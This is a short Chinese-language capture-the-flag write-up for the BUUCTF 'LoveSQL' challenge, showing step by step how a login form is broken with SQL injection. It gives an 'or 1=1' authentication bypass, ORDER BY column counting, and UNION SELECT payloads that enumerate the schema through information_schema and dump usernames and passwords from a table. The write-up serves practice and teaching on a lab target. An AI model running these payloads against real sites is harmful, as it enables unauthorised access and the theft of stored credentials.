【极客大挑战2019LoveSQL】

题目地址：http://b7f87fb9-2d9b-47f3-8c81-31d54bda9fe7.node3.buuoj.cn

看到需要账户和密码直接采用万能钥匙来试一下。

admin’ or 1=1#
密码随便填就可以

登陆成功了
判断列数：

> /check.php ?username=1' order by 3%23&password=1

没有报错，只是账户密码错误

当到order by 4 时报错了
所以判断出有三个列数。
联合查询爆数据库

/check.php
?username=1'union select 1,2,database()%23&password=1

找到数据库名 ‘geek’。
爆数据表

/check.php
?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

得到两个表名：'geekuser','l0ve1ysq1’
爆字段名：

/check.php
?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1

爆值

/check.php
?username=1'  union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

flag就在里边了！
总结：这道题其实并不难，我画了一个简图如下：